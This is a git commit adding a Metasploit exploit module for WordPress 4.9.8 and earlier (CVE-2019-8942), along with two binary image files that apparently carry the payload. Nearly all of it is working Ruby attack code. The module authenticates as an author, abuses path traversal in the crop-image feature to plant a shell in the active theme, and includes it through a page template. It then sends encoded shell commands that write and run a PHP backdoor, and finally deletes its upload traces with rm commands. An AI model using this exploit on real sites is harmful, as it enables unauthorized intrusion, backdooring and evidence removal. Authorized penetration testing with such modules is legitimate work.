Add exploit module for Wordpress core <=4.9.8 (CVE-2019-8942)

master
wilfried 2019-03-19 16:03:29 +01:00
parent bdb8d3b9e6
commit 23a86e7ad2
3 changed files with 396 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

View File

@ -0,0 +1,396 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Crop-image Shell Upload',
'Description' => %q{
This module exploit a path traversal and a local file inclusion
vulnerability on WordPress versions 4.9.8 and less.
The crop-image function allow an user, with at least author privileges,
to resize an image an perform a path traversal by changing the _wp_attached_file
reference during the upload. The second part of the exploit will include
this image in the current theme by changing the _wp_page_template attribute
when creating a post.
},
'License' => MSF_LICENSE,
'Author' =>
[
'RIPSTECH Technology', # Discovery
'Wilfried Becard' # Metasploit module
],
'DisclosureDate' => 'Feb 19 2019',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
])
end
def check
cookie = wordpress_login(username, password)
if cookie.nil?
store_valid_credential(user: username, private: password, proof: cookie)
return CheckCode::Safe
end
CheckCode::Appears
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def get_wpnonce(cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
)
if res && res.code == 200 && res.body && res.body.length > 0
res.get_hidden_inputs.first["_wpnonce"]
end
end
def get_current_theme
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
if res && res.code == 200 && res.body && res.body.length > 0
res.body.scan(/\/wp-content\/themes\/(\w+)\//)[0][0]
end
end
def get_ajaxnonce(cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => 'query-attachments',
'post_id' => '0',
'query[item]' => '43',
'query[orderby]' => 'date',
'query[order]' => 'DESC',
'query[posts_per_page]' => '40',
'query[paged]' => '1'
}
)
if res && res.code == 200 && res.body && res.body.length > 0
res.body.scan(/"edit":"(\w+)"/)[0][0]
end
end
def upload_file(tmp_filename, img_name, wp_nonce, cookie)
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8942", tmp_filename)
file = File.open(path, "r")
img_data = file.read
img_name += '.jpg'
data = Rex::MIME::Message.new
data.add_part(img_name, nil, nil, 'form-data; name="name"')
data.add_part('upload-attachment', nil, nil, 'form-data; name="action"')
data.add_part(wp_nonce, nil, nil, 'form-data; name="_wpnonce"')
data.add_part(img_data, 'image/jpeg', nil, %(form-data; name=\"async-upload\"; filename=\"#{img_name}\"))
post_data = data.to_s
print_status("Uploading payload")
upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => upload_uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
if res && res.code == 200 && res.body && res.body.length > 0
print_good("Image uploaded")
res = JSON.parse(res.body)
image_id = res["data"]["id"]
update_nonce = res["data"]["nonces"]["update"]
filename = res["data"]["filename"]
return filename, image_id, update_nonce
end
end
def check_library(filename, current_date, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-content', 'uploads', current_date, 'cropped-'+filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
)
if res && res.code == 200 && res.body && res.body.length > 0
if res.body.include?("gd-jpeg")
false
end
true
end
end
def image_editor(img_name, ajax_nonce, image_id, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => 'image-editor',
'_ajax_nonce' => ajax_nonce,
'postid' => image_id,
'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]',
'target' => 'all',
'context' => '',
'do' => 'save'
}
)
if res && res.code == 200 && res.body && res.body.length > 0
filename = res.body.scan(/(#{img_name}-\S+)-/)[0][0]
filename += '.jpg'
end
end
def get_wpnonce2(image_id, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php?post='+image_id.to_s+'&action=edit')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
)
if res && res.code == 200 && res.body && res.body.length > 0
tmp = res.get_hidden_inputs
_wpnonce = tmp[1].first[1]
end
end
def change_path(_wpnonce, image_id, filename, current_date, path, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'_wpnonce' => _wpnonce,
'action' => 'editpost',
'post_ID' => image_id,
'meta_input[_wp_attached_file]' => current_date+filename+path
}
)
end
def crop_image(image_id , ajax_nonce, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => 'crop-image',
'_ajax_nonce' => ajax_nonce,
'id' => image_id,
'cropDetails[x1]' => 0,
'cropDetails[y1]' => 0,
'cropDetails[width]' => 400,
'cropDetails[height]' => 300,
'cropDetails[dst_width]' => 400,
'cropDetails[dst_height]' => 300
}
)
end
def include_theme(shell_name, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie
)
if res && res.code == 200 && res.body && res.body.length > 0
_wpnonce = res.body.scan(/name="_wpnonce" value="(\w+)"/)[0][0]
post_id = res.body.scan(/"post":{"id":(\w+),/)[0][0]
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'_wpnonce'=>_wpnonce,
'action' => 'editpost',
'post_ID' => post_id,
'post_title' => 'wut',
'post_name' => 'wut',
'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg"
}
)
if res && res.code == 302
post_id
end
end
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
print_status("Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("Authenticated with WordPress")
store_valid_credential(user: username, private: password, proof: cookie)
print_status("Preparing payload...")
img_name = Rex::Text.rand_text_alpha(10)
@current_theme = get_current_theme
wp_nonce = get_wpnonce(cookie)
print_status("Checking crop library")
tmp_filename = "evil.jpg"
@filename1, image_id, update_nonce = upload_file(tmp_filename, img_name, wp_nonce, cookie)
ajax_nonce = get_ajaxnonce(cookie)
@current_date = Time.now.strftime("%Y/%m/")
#Check current library
use_imagick = true
crop_image(image_id, ajax_nonce, cookie)
use_imagick = check_library(@filename1, @current_date, cookie)
if use_imagick
#IMAGICK exploit
img_name = Rex::Text.rand_text_alpha(10)
@filename2, image_id, update_nonce = upload_file(tmp_filename, img_name, wp_nonce, cookie)
ajax_nonce = get_ajaxnonce(cookie)
@filename2 = image_editor(img_name, ajax_nonce, image_id, cookie)
_wpnonce = get_wpnonce2(image_id, cookie)
change_path(_wpnonce, image_id, @filename2, @current_date, '?/x', cookie)
crop_image(image_id , ajax_nonce, cookie)
@shell_name = Rex::Text.rand_text_alpha(10)
change_path(_wpnonce, image_id, @filename2, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
crop_image(image_id , ajax_nonce, cookie)
print_status("Including into theme")
post_id = include_theme(@shell_name, cookie)
uri = normalize_uri(datastore['TARGETURI'])
#Test if base64 is on target
test_string = 'YmFzZTY0c3BvdHRlZAo='
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'p' => "#{post_id}",
'0' => "echo #{test_string} | base64 -d"
}
)
if res && res.code == 200 && res.body && res.body.length > 0
if res.body.include?("base64spotted")
#Execute payload with base64 decode
@backdoor = Rex::Text.rand_text_alpha(10)
encoded = Rex::Text.encode_base64(payload.encoded)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'p' => "#{post_id}",
'0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
}
)
if res && res.code == 200 && res.body && res.body.length > 0
uri = normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php")
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
)
end
else
print_status("Can't find base64 decode on target.")
end
end
else
#GD stuff
print_status('GD library')
tmp_filename = "evilshell.jpg"
img_name = Rex::Text.rand_text_alpha(10)
@filename2, image_id, update_nonce = upload_file(tmp_filename, img_name, wp_nonce, cookie)
ajax_nonce = get_ajaxnonce(cookie)
_wpnonce = get_wpnonce2(image_id, cookie)
@shell_name = Rex::Text.rand_text_alpha(10)
change_path(_wpnonce, image_id, @filename2, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
crop_image(image_id , ajax_nonce, cookie)
print_status("Including into theme")
post_id = include_theme(@shell_name, cookie)
uri = normalize_uri(datastore['TARGETURI'])
#Test if base64 is on target
test_string = 'YmFzZTY0c3BvdHRlZAo='
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'p' => "#{post_id}",
'0' => "echo #{test_string} | base64 -d"
}
)
if res && res.code == 200 && res.body && res.body.length > 0
if res.body.include?("base64spotted")
#Execute payload with base64 decode
@backdoor = Rex::Text.rand_text_alpha(10)
encoded = Rex::Text.encode_base64(payload.encoded)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'p' => "#{post_id}",
'0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
}
)
if res && res.code == 200 && res.body && res.body.length > 0
uri = normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php")
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
)
end
else
print_status("Can't find base64 decode on target.")
end
end
end
end
def on_new_session(client)
#sleep 1
client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*")
client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename2[0...10]}*")
client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg")
#client.shell_command_token("rm #{@backdoor}.php")
end
end